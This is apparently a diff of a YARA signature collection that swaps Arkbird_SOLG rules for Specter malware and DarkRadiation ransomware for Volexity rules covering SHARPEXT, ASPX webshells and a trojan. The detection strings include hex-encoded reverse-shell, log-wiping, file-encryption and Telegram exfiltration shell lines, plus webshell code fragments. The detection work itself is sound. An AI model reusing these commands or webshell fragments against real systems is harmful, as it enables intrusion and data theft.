+		author = "threatintel@volexity.com"
+		id = "61b5176a-ff73-5fce-bc70-c9e09bb5afed"
+		date = "2021-09-14"
+		modified = "2022-07-28"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-07-28 SharpTongue SharpTongue Deploys Clever Mail-Stealing Browser Extension SHARPEXT/yara.yar#L1-L47"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "0ed58c8646582ee36aeac650fac02d1e4962d45c0f6a24783c021d9267bed192"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "3afe2ec273608be0b34b8b357778cc2924c344dd1b00a84cf90925eeb2469964"
-		hash2 = "3de97c2b211285022a34a62b536cef586d987939d40d846930c201d010517a10"
-		hash3 = "b00157dbb371e8abe19a728104404af61acc3c5d4a6f67c60e694fe0788cb491"
-		hash4 = "7fa37dd67dcd04fc52787c5707cf3ee58e226b98c779feb45b78aa8a249754c7"
-		hash5 = "79e93f6e5876f31ddc4a6985b290ede6a2767d9a94bdf2057d9c464999163746"
-		tlp = "White"
-		adversary = "-"
+		quality = 80
+		tags = "SHARPTONGUE"
+		hash1 = "1c9664513fe226beb53268b58b11dacc35b80a12c50c22b76382304badf4eb00"
+		hash2 = "6025c66c2eaae30c0349731beb8a95f8a5ba1180c5481e9a49d474f4e1bb76a4"
+		hash3 = "6594b75939bcdab4253172f0fa9066c8aee2fa4911bd5a03421aeb7edcd9c90c"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = "exec bash --login" fullword ascii
-		$s2 = { 55 48 89 e5 53 48 83 ec 48 48 89 7d b8 48 c7 45 d8 [2] 40 00 48 c7 45 d0 00 00 00 00 c7 45 e8 00 00 00 00 c7 45 ec 00 00 00 00 eb 30 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 89 c7 e8 ?? fa ff ff 89 c2 8b 45 e8 01 d0 83 c0 01 89 45 e8 83 45 ec 01 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 85 c0 75 b4 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 83 ea 08 48 01 d0 48 8b 18 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 83 ea 08 48 01 d0 48 8b 00 48 89 c7 e8 ?? fa ff ff 48 83 c0 01 48 01 d8 48 89 45 d0 8b 45 e8 48 98 48 89 c7 e8 ?? fb ff ff 48 89 45 e0 c7 45 ec 00 00 00 00 eb 74 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 10 48 8b 45 e0 48 89 d6 48 89 c7 e8 ?? f9 ff ff 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 89 c7 e8 ?? f9 ff ff 89 45 cc 8b 45 cc 48 98 48 83 c0 01 48 01 45 e0 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 c2 48 8b 45 e0 48 89 02 83 45 ec 01 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 }
-		$s3 = "amcsh_connect" fullword ascii
-		$s4 = "GOT HAHA: %d" fullword ascii
-		$s5 = { 52 65 63 76 65 64 20 74 65 72 6d 20 65 6e 76 20 76 61 72 3a 20 25 73 00 77 69 6e 3a 25 64 2c 25 64 }
-		$s6 = { 55 48 89 e5 48 81 ec f0 20 00 00 89 bd 1c df ff ff 48 c7 45 f0 [2] 40 00 48 8d 85 20 df ff ff be 01 20 00 00 48 89 c7 e8 ?? fa ff ff 48 8d b5 28 ff ff ff 48 8d 85 2c ff ff ff 41 b8 00 00 00 00 b9 00 00 00 00 ba 00 00 00 00 48 89 c7 e8 ?? fa ff ff 85 c0 79 2a e8 ?? f8 ff ff 8b 00 89 c7 e8 ?? fa ff ff 48 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 26 fc ff ff b8 01 00 00 00 e9 f8 05 00 00 8b 85 28 ff ff ff 89 c7 e8 ?? fa ff ff 48 89 45 e8 48 83 7d e8 00 75 0a b8 01 00 00 00 e9 d6 05 00 00 bf [2] 40 00 e8 ?? f9 ff ff 48 8d 95 20 df ff ff 8b 85 1c df ff ff 48 89 d6 89 c7 e8 ?? 17 00 00 89 45 fc 83 7d fc 00 79 2a e8 [2] ff ff 8b 00 89 c7 e8 ?? fa ff ff 48 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 b0 fb ff ff }
-		$s7 = { 8b 45 fc 48 63 d0 8b 85 2c ff ff ff 48 8d 8d 20 df ff ff 48 89 ce 89 c7 e8 ?? f3 ff ff 89 45 fc 8b 45 fc 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 f0 f6 ff ff 83 7d fc }
-		$s8 = { 55 48 89 e5 53 48 81 ec e8 00 00 00 48 89 b5 48 ff ff ff 48 89 95 50 ff ff ff 48 89 8d 58 ff ff ff 4c 89 85 60 ff ff ff 4c 89 8d 68 ff ff ff 84 c0 74 23 0f 29 85 70 ff ff ff 0f 29 4d 80 0f 29 55 90 0f 29 5d a0 0f 29 65 b0 0f 29 6d c0 0f 29 75 d0 0f 29 7d e0 48 89 bd 18 ff ff ff 48 8b 05 [2] 20 00 48 85 c0 75 16 be [2] 40 00 bf [2] 40 00 e8 ?? fd ff ff 48 89 05 [2] 20 00 c7 85 20 ff ff ff 08 00 00 00 c7 85 24 ff ff ff 30 00 00 00 48 8d 45 10 48 89 85 28 ff ff ff 48 8d 85 40 ff ff ff 48 89 85 30 ff ff ff 48 8b 05 [2] 20 00 48 8d 95 20 ff ff ff 48 8b 8d 18 ff ff ff 48 89 ce 48 89 c7 e8 ?? fd ff ff 48 c7 85 38 ff ff ff [2] 40 00 48 8b 1d [2] 20 00 48 8b 85 38 ff ff ff 48 89 c7 e8 ?? fb ff ff 48 89 c6 48 8b 85 38 ff ff ff 48 89 d9 ba 01 00 00 00 48 89 c7 e8 ?? fd ff ff 48 8b 05 [2] 20 00 48 89 c7 e8 ?? fc ff ff 48 81 c4 e8 00 00 00 5b }
+		$s1 = "\"mode=attach&name=\"" ascii
+		$s2 = "\"mode=new&mid=\"" ascii
+		$s3 = "\"mode=attlist\"" ascii
+		$s4 = "\"mode=list\"" ascii
+		$s5 = "\"mode=domain\"" ascii
+		$s6 = "\"mode=black\"" ascii
+		$s7 = "\"mode=newD&d=\"" ascii
+		$mark1 = "chrome.runtime.onMessage.addListener" ascii
+		$mark2 = "chrome.webNavigation.onCompleted.addListener" ascii
+		$enc1 = "function BSue(string){" ascii
+		$enc2 = "function BSE(input){" ascii
+		$enc3 = "function bin2hex(byteArray)" ascii
+		$xhr1 = ".send(\"mode=cd1" ascii
+		$xhr2 = ".send(\"mode=black" ascii
+		$xhr3 = ".send(\"mode=domain" ascii
+		$xhr4 = ".send(\"mode=list" ascii
+		$manifest1 = "\"description\":\"advanced font\"," ascii
+		$manifest2 = "\"scripts\":[\"bg.js\"]" ascii
+		$manifest3 = "\"devtools_page\":\"dev.html\"" ascii
 
 	condition:
-		uint32(0)==0x464c457f and filesize >10KB and 6 of ($s*)
+		(5 of ($s*) and all of ($mark*)) or all of ($enc*) or 3 of ($xhr*) or 2 of ($manifest*)
 }
-rule ARKBIRD_SOLG_MAL_ELF_Specter_Jul_2021_1 : FILE
+rule VOLEXITY_Webshell_Aspx_Simpleseesharp : WEBSHELL UNCLASSIFIED FILE
 {
 	meta:
-		description = "Detect the Specter malware"
-		author = "Arkbird_SOLG"
-		id = "24237a56-2717-5efc-9bfb-9ab6d87e082b"
-		date = "2021-07-02"
-		modified = "2021-07-05"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1410870749473148930"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/Specter/MAL_ELF_Specter_Jul_2021_1.yara#L1-L20"
-		license_url = "N/A"
-		logic_hash = "de737f051d34edb2219e77c0d4f0239b95bad9983ee5e435d6ee9741525816f0"
+		description = "A simple ASPX Webshell that allows an attacker to write further files to disk."
+		author = "threatintel@volexity.com"
+		id = "469fdf5c-e09e-5d44-a2e6-0864dcd0e18a"
+		date = "2021-03-01"
+		modified = "2021-09-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-03-02 - Operation Exchange Marauder/indicators/yara.yar#L1-L19"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2"
+		logic_hash = "6f62249a68bae94e5cbdb4319ea5cde9dc071ec7a4760df3aafe78bc1e072c30"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "0bff46518b35ddfe37f4a7820286aab829d81f1480d9eeca5aaedc9ceda6724f"
-		hash2 = "be97d7ae3b2d876f027d99d8d61dbca92513f4975336c2ebc26cf8a0839b67b6"
-		tlp = "White"
-		adversary = "Specter"
+		quality = 80
+		tags = "WEBSHELL, UNCLASSIFIED, FILE"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 41 57 41 89 cf 41 56 4d 89 c6 41 55 41 89 f5 be 01 00 00 00 41 54 49 89 fc bf 02 00 00 00 55 89 d5 31 d2 53 48 83 ec 38 48 c7 44 24 20 00 00 00 00 48 c7 44 24 28 00 00 00 00 e8 cf bf fe ff be 03 00 00 00 89 c3 89 c7 31 c0 e8 1f c4 fe ff 80 cc 08 be 04 00 00 00 89 df 89 c2 31 c0 e8 0c c4 fe ff 48 8d 74 24 20 89 ea 89 df 66 c1 ca 08 66 89 54 24 22 ba 10 00 00 00 66 c7 44 24 20 02 00 44 89 e8 31 ed 0f c8 89 44 24 24 e8 ae be fe ff 85 c0 0f 84 c5 00 00 00 e8 11 c0 fe ff 83 38 73 48 89 c5 74 07 89 df e8 12 b8 fe ff 8b 6d 00 83 fd 73 0f 85 a5 00 00 00 bf 1c 00 00 00 e8 dc b9 fe ff 48 85 c0 48 89 c2 0f 84 8c 00 00 00 44 89 68 14 89 58 18 4d 8d 6c 24 60 44 89 78 10 41 0f 10 06 4c 89 ef 4d 8d 74 24 50 0f 11 02 0f 29 04 24 48 89 04 24 e8 74 c2 fe ff bf 18 00 00 00 e8 b2 b5 07 00 48 85 c0 74 17 48 8b 14 24 48 c7 00 00 00 00 00 48 c7 40 08 00 00 00 00 48 89 50 10 4c 89 f6 48 89 c7 e8 9b fe 08 00 4c 89 ef e8 0b c3 fe ff 41 8b bc 24 88 00 00 00 48 8d 4c 24 14 89 da be 01 00 00 00 89 5c 24 18 c7 44 24 14 1d 20 00 80 e8 26 bd fe }
-		$s2 = { 55 31 c0 b9 5d 00 00 00 53 48 89 fb 48 81 ec 48 01 00 00 48 8d 7c 24 4e f3 aa 48 8d 7c 24 4e e8 d2 03 00 00 48 8d bc 24 ab 00 00 00 31 c0 b9 07 00 00 00 48 8d 74 24 28 c7 44 24 30 00 00 00 00 48 c7 44 24 38 00 00 00 00 f3 ab 48 8b 84 24 70 01 00 00 48 8d 7c 24 4e 48 89 44 24 40 48 8d 44 24 30 48 89 44 24 28 e8 36 08 00 00 8b 6c 24 30 85 ed 0f 85 89 00 00 00 48 8b 44 24 40 48 8b 00 48 8b 40 e8 48 39 44 24 38 75 76 48 8d bc 24 c7 00 00 00 31 c0 b9 5d 00 00 00 f3 aa 48 8d bc 24 c7 00 00 00 e8 4d 03 00 00 48 8d bc 24 24 01 00 00 b9 07 00 00 00 89 e8 48 8d 94 24 c7 00 00 00 48 8d 74 24 4e f3 ab 48 8d 7b 18 e8 64 26 00 00 b9 08 00 00 00 48 89 e7 48 8d b4 24 60 01 00 00 f3 a5 48 8d b4 24 c7 00 00 00 89 c2 48 89 df e8 6e fb ff ff 48 8d bc 24 c7 00 00 00 e8 e3 03 00 00 48 8d 7c 24 4e e8 d9 03 00 00 48 81 c4 }
-		$s3 = { 83 fa 03 0f 86 e6 00 00 00 41 57 41 56 41 55 41 54 49 89 cc 55 48 89 fd 53 48 89 f3 48 83 ec 28 66 8b 46 04 44 8b 76 0c 44 8b 3e 66 89 44 24 0c 66 8b 46 06 45 8d 6e 01 44 89 7c 24 08 44 89 74 24 14 66 89 44 24 0e 8b 46 08 4c 89 ef 89 44 24 10 e8 f4 b3 fe ff 48 89 c2 48 89 44 24 18 4c 89 e9 31 c0 48 89 d7 48 8d 73 10 f3 aa 48 89 d7 4c 89 f1 f3 a4 44 89 fe 48 89 ef e8 9b fa ff ff ff c0 74 07 4c 89 e1 31 d2 eb 4b 66 83 7c 24 0e 03 75 21 48 8b 74 24 18 48 8d 54 24 10 48 89 ef e8 d4 f8 ff ff 84 c0 75 0b e8 ad b9 fe ff 8b 00 85 c0 75 18 0f b7 54 24 0c 8b 4c 24 08 4d 89 e0 8b 74 24 10 48 89 ef e8 e1 f8 ff ff 83 f8 73 74 11 4c 89 e1 89 c2 8b 74 24 08 48 89 ef e8 ff fe ff ff 48 83 }
-		$s4 = { 48 8d 05 5a 5f 0b 00 48 89 84 24 80 00 00 00 48 8b 05 cf 75 30 00 be 18 00 00 00 bf 01 00 00 00 ff 10 48 85 c0 48 89 84 24 98 00 00 00 0f 84 fa fc ff ff 4c 8d bc 24 98 00 00 00 48 8b 54 24 60 48 8d 35 00 2b 0b 00 31 c0 4c 89 ff e8 2c ef ff ff 85 c0 0f 85 f4 fb ff ff 49 8b b5 f8 0d 00 00 48 85 f6 0f 84 13 09 00 00 31 ed 41 0f b7 86 ac 03 00 00 66 25 20 40 66 83 f8 20 0f 84 03 09 00 00 80 7c 24 78 00 0f 84 01 07 00 00 49 8b 8e 18 02 00 00 49 8b 96 10 02 00 00 4c 8d 46 06 48 8d 35 a6 2a 0b 00 4c 89 ff 31 c0 e8 ce ee ff ff 85 c0 0f 85 96 fb ff ff 41 0f b7 86 ac 03 00 00 4c 8d 25 42 eb 0a 00 66 25 20 40 66 83 f8 20 0f 84 55 0b 00 00 49 83 bd f8 0e 00 00 00 48 8d 05 25 eb 0a 00 74 0e 49 8b 96 30 04 00 00 48 85 d2 48 0f 45 c2 49 8b 95 68 0c 00 00 48 8d 35 07 eb 0a 00 48 85 d2 74 13 80 3a 00 74 0e 49 8b 96 18 04 00 00 48 85 d2 48 0f 45 f2 49 8b 96 50 04 00 00 48 8d 0d e1 ea 0a 00 48 85 d2 48 0f 44 d1 49 89 d3 48 8b 54 24 50 48 8b 52 20 48 85 d2 48 0f 44 d1 49 89 d2 49 8b 95 50 0d 00 00 48 85 d2 74 13 80 3a 00 74 0e 49 8b 96 10 04 00 00 48 85 d2 48 0f 45 ca 41 f6 85 85 15 00 00 02 48 8d 2d 96 ea 0a 00 74 0e 49 8b 96 28 04 00 00 48 85 d2 48 0f 45 ea 49 8b be 20 04 00 00 48 8d 15 78 ea 0a 00 4d 8b 8e 08 04 00 00 4d 8b 86 38 04 00 00 48 89 4c 24 10 48 8b 8c 24 80 00 00 00 48 89 74 24 28 48 8d 35 f6 23 0b 00 48 85 ff 4c 89 5c 24 20 4c 89 54 24 18 48 0f 44 fa 4d 85 c9 48 89 44 24 30 48 89 7c 24 60 48 8b 7c 24 70 4c 0f 44 ca 4d 85 c0 48 89 6c }
-		$s5 = { 8b 44 24 50 4d 85 ff 4c 89 38 0f 85 12 f8 ff ff e9 dc f9 ff ff 0f 1f 84 00 00 00 00 00 49 83 bd 68 0c 00 00 00 0f 84 bb f7 ff ff 48 8b 05 e3 6f 30 00 49 8b be 18 04 00 00 ff 10 49 8b b5 68 0c 00 00 48 8d 3d ae 26 0b 00 31 c0 49 c7 86 18 04 00 00 00 00 00 00 e8 22 9b 00 00 48 85 c0 49 89 86 18 04 00 00 0f 85 96 f7 ff ff e9 1d f9 ff ff 0f 1f 44 00 00 41 80 bd ea 0e 00 00 00 48 8d 05 01 26 0b 00 48 89 44 24 60 0f 88 2f f6 ff ff 83 fb 07 0f 87 2a 01 00 00 48 8d 05 76 28 0b 00 89 da 48 63 14 90 48 01 d0 ff e0 0f 1f 00 4c 8b 7c 24 50 49 8b 3f e8 e3 fa fe ff 85 c0 0f 85 eb f7 ff ff 49 8b 3f e8 f3 fa fe ff 49 89 47 08 e9 1e f9 ff ff 66 2e 0f 1f 84 00 00 00 00 00 49 8b b6 d0 00 00 00 49 8b bd f0 10 00 00 e8 5d cf 00 00 85 c0 0f 85 91 f9 ff ff 49 8b 86 d8 03 00 00 45 8b 86 98 01 00 00 8b 80 80 00 00 00 a8 02 74 0d 41 81 f8 bb 01 00 00 0f 84 b9 01 00 00 a8 01 74 0a 41 83 f8 50 0f 84 ab 01 00 00 41 0f b6 86 ad 03 00 00 48 8d 0d 2e e7 0a 00 48 8d 15 8a 1c 0b 00 48 8d 3d de 25 0b 00 48 89 ce 83 e0 02 48 8d 05 3c 07 0b 00 48 0f 45 ca 48 8b 54 24 58 48 0f 45 f0 31 c0 e8 14 9a 00 00 49 89 86 38 04 00 00 48 85 c0 0f 85 99 f9 ff ff e9 0f f8 ff ff 48 8d 05 05 25 0b 00 48 89 44 24 60 e9 2f f5 ff ff 48 8d 05 ef 24 0b 00 48 89 44 24 60 e9 1e f5 ff ff 48 8d 05 56 cd 0a 00 48 89 44 24 60 e9 0d f5 ff ff 48 8d 05 d6 24 0b 00 48 89 44 24 60 e9 fc f4 ff ff 48 8d 05 0e d1 0a 00 48 89 44 24 60 e9 eb f4 ff ff 66 2e 0f 1f 84 00 00 00 00 00 49 8b 86 d0 03 00 00 f6 80 80 00 00 00 03 74 28 8d 43 fd 83 f8 01 0f 86 6a 02 00 00 41 f6 85 eb 0e 00 00 01 74 12 49 83 bd f8 14 00 00 ff 0f 84 62 02 00 00 0f 1f 40 00 41 80 a5 68 06 00 00 bf 48 8d 05 44 e6 0a 00 41 f6 85 68 06 00 00 40 48 89 c1 48 8d 05 60 24 0b 00 48 0f 44 c1 48 89 44 24 70 e9 01 f8 ff ff 66 0f 1f 84 00 00 00 00 00 83 7f 18 04 4c 8d 3d f3 0a 0b 00 }
+		$header = "<%@ Page Language=\"C#\" %>"
+		$body = "<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine"
 
 	condition:
-		uint32(0)==0x464c457f and filesize >100KB and 4 of ($s*)
+		$header at 0 and $body and filesize <1KB
 }
-rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_3 : FILE
+rule VOLEXITY_Webshell_Aspx_Regeorgtunnel : WEBSHELL COMMODITY
 {
 	meta:
-		description = "Detect structures of scripts like used by the DarkRadiation ransomware"
-		author = "Arkbird_SOLG"
-		id = "144eb08d-e222-5f6f-925d-33077953e7e6"
-		date = "2021-07-03"
-		modified = "2021-07-05"
-		reference = "https://bazaar.abuse.ch/browse/tag/DarkRadiation/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/DarkRadiation/RAN_ELK_DarkRadiation_Jul_2021_3.yara#L1-L29"
-		license_url = "N/A"
-		logic_hash = "8d2fa53f5abd327d100ffc71863f3b49ce8a19f1a72db556902d95ae6ba09d4a"
+		description = "variation on reGeorgtunnel"
+		author = "threatintel@volexity.com"
+		id = "b8aa27c9-a28a-5051-8f81-1184f28842ed"
+		date = "2021-03-01"
+		modified = "2021-09-01"
+		reference = "https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-03-02 - Operation Exchange Marauder/indicators/yara.yar#L21-L43"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928"
+		logic_hash = "ea3d0532cb609682922469e8272dc8061efca3b3ae27df738ef2646e30404c6f"
 		score = 75
-		quality = 55
-		tags = "FILE"
-		hash1 = "bc6e4b879228c248b7ff9aebbf857e94354829a98b6aea9b1c187005cbc2e0d0"
-		hash2 = "691afd4ef5f33d99053c57456ce9fa126e29d51d4dd510928193d8c3332547b1"
-		hash3 = "fdd8c27495fbaa855603df4f774fe86bbc21743f59fd039f734feb07704805bd"
-		tlp = "White"
-		adversary = "FERRUM"
+		quality = 80
+		tags = "WEBSHELL, COMMODITY"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 66 6f 72 20 66 69 6c 65 20 69 6e 20 60 66 69 6e 64 20 2f 20 2d 6e 61 6d 65 20 27 2a 2e 73 68 27 20 2d 74 79 70 65 20 66 20 2d 65 78 65 63 20 67 72 65 70 20 2d 6c }
-		$s2 = { 72 6d 20 2d 72 66 20 2f 76 61 72 2f 6c 6f 67 2f 79 75 6d 2a }
-		$s3 = { 69 66 20 72 70 6d 20 2d 71 20 6f 70 65 6e 73 73 6c }
-		$s4 = { 6f 70 65 6e 73 73 6c 20 65 6e 63 20 2d 61 65 73 2d 32 35 36 2d 63 62 63 20 2d 73 61 6c 74 20 2d 70 61 73 73 20 70 61 73 73 3a 24 50 41 53 53 20 2d 69 6e 20 24 66 69 6c 65 20 2d 6f 75 74 20 24 66 69 6c 65 2e e2 98 a2 }
-		$x1 = { 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 27 24 54 4f 4b 45 4e }
-		$x2 = { 4d 53 47 5f 55 52 4c 3d 24 55 52 4c 27 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 27 }
-		$x3 = { 55 50 44 5f 55 52 4c 3d 24 55 52 4c 27 2f 67 65 74 55 70 64 61 74 65 73 3f 6f 66 66 73 65 74 3d 27 }
-		$x4 = { 62 61 73 68 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f 24 49 50 2f 24 50 4f 52 54 20 30 3e 26 31 }
-		$x5 = { 6d 73 67 3d 22 5b 2b 5d 20 53 68 65 6c 6c 20 52 75 6e 6e 69 6e 67 2e 22 }
-		$x6 = { 72 65 73 3d 24 28 63 75 72 6c 20 2d 73 20 2d 58 20 50 4f 53 54 20 24 4d 53 47 5f 55 52 4c 20 2d 64 20 63 68 61 74 5f 69 64 3d 24 49 44 5f 4d 53 47 20 2d 64 20 74 65 78 74 3d 22 44 4f 4e 45 21 21 21 22 20 26 29 }
-		$y1 = { 23 21 2f 62 69 6e 2f 62 61 73 68 }
-		$y2 = { 3b [2-5] 3d 27 [2-5] 27 3b [2-5] 3d 27 [2-5] 27 3b [2-5] 3d 27 [2-5] 27 3b [2-5] 3d 27 [2-5] 27 3b }
-		$y3 = { 65 76 61 6c 20 22 24 [2-5] 24 [2-5] 24 [2-5] 24 }
+		$s1 = "System.Net.Sockets"
+		$s2 = "System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get"
+		$t1 = ".Split('|')"
+		$t2 = "Request.Headers.Get"
+		$t3 = ".Substring("
+		$t4 = "new Socket("
+		$t5 = "IPAddress ip;"
 
 	condition:
-		filesize >1KB and (3 of ($s*) or 5 of ($x*) or all of ($y*))
+		all of ($s*) or all of ($t*)
 }
-rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_2 : FILE
+rule VOLEXITY_Webshell_Aspx_Sportsball : WEBSHELL
 {
 	meta:
-		description = "Detect the DarkRadiation ransomware"
-		author = "Arkbird_SOLG"
-		id = "3580a41a-ba2e-5a47-b35d-b2482fbc913a"
-		date = "2021-07-03"
-		modified = "2021-07-05"
-		reference = "https://bazaar.abuse.ch/browse/tag/DarkRadiation/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/DarkRadiation/RAN_ELK_DarkRadiation_Jul_2021_2.yara#L1-L27"
-		license_url = "N/A"
-		logic_hash = "b21db1658845cafe37950d69b5bc0aab203e7bea3e43f95394236e0133234e2d"
+		description = "The SPORTSBALL webshell allows attackers to upload files or execute commands on the system."
+		author = "threatintel@volexity.com"
+		id = "d8cf1eb7-c08b-5c3c-b7d8-135b15418a7d"
+		date = "2021-03-01"
+		modified = "2021-09-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-03-02 - Operation Exchange Marauder/indicators/yara.yar#L45-L68"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
+		logic_hash = "4f90d727db91a93f53d08d2134f57bd03e7e2367aec3d78d275cfd192d7fb928"
 		score = 75
-		quality = 57
-		tags = "FILE"
-		hash1 = "3bab2947305c00df66cb4d6aaef006f10aca348c17aa2fd28e53363a08b7ec68"
-		hash2 = "652ee7b470c393c1de1dfdcd8cb834ff0dd23c93646739f1f475f71a6c138edd"
-		hash3 = "79aee7a4459d49dc6dfebf1a45d32ccc3769a1e5c1f231777ced3769607ba9c1"
-		tlp = "White"
-		adversary = "FERRUM"
+		quality = 80
+		tags = "WEBSHELL"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 61 6c 6c 54 68 72 65 61 64 73 3d 28 24 31 29 }
-		$s2 = { 4d 53 47 5f 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 27 24 54 4f 4b 45 4e 27 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 27 }
-		$s3 = { 69 66 20 5b 5b 20 22 24 6d 61 73 74 65 72 22 20 21 3d 20 22 24 73 6c 61 76 65 22 20 5d 5d }
-		$s4 = { 75 73 65 72 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 31 7d 27 29 }
-		$s5 = { 6d 61 73 74 65 72 3d 24 28 63 61 74 20 2f 74 6d 70 2f 2e 63 63 77 20 7c 20 77 63 20 2d 6c 29 }
-		$s6 = { 73 65 6e 64 5f 6d 65 73 73 61 67 65 20 24 69 64 20 22 24 28 68 6f 73 74 6e 61 6d 65 29 20 24 28 68 6f 73 74 6e 61 6d 65 20 2d 49 29 }
-		$s7 = { 73 74 61 72 74 5f 74 68 72 65 61 64 20 24 61 6c 6c 54 68 72 65 61 64 73 }
-		$s8 = { 69 70 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 32 7d 27 29 }
-		$s9 = { 70 6f 72 74 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 33 7d 27 29 }
-		$s10 = { 24 28 63 75 72 6c 20 2d 73 20 2d 2d 69 6e 73 65 63 75 72 65 20 2d 2d 64 61 74 61 2d 75 72 6c 65 6e 63 6f 64 65 20 22 74 65 78 74 3d [2-15] 22 20 22 24 4d 53 47 5f 55 52 4c [2-15] 22 20 26 29 }
-		$s11 = { 73 6c 61 76 65 3d 24 28 65 63 68 6f 20 22 24 7b [2-15] 7d 22 20 7c 20 77 63 20 2d 6c 29 }
+		$uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
+		$uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE="
+		$var1 = "Result.InnerText = string.Empty;"
+		$var2 = "newcook.Expires = DateTime.Now.AddDays("
+		$var3 = "System.Diagnostics.Process process = new System.Diagnostics.Process()"
+		$var4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
+		$var5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
+		$var6 = "<input type=\"submit\" value=\"Upload\" />"
 
 	condition:
-		filesize >1KB and 6 of ($s*)
+		any of ($uniq*) or all of ($var*)
 }
-rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_1 : FILE
+import "pe"
+
+rule VOLEXITY_Trojan_Win_Backwash_Cpp : XEGROUP
 {
 	meta:
-		description = "Detect the DarkRadiation ransomware"
-		author = "Arkbird_SOLG"
-		id = "13d77ecc-14ab-54ce-9eec-2d614f5ae8e4"
-		date = "2021-07-03"
-		modified = "2021-07-05"
-		reference = "https://bazaar.abuse.ch/browse/tag/DarkRadiation/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/DarkRadiation/RAN_ELK_DarkRadiation_Jul_2021_1.yara#L1-L25"
-		license_url = "N/A"
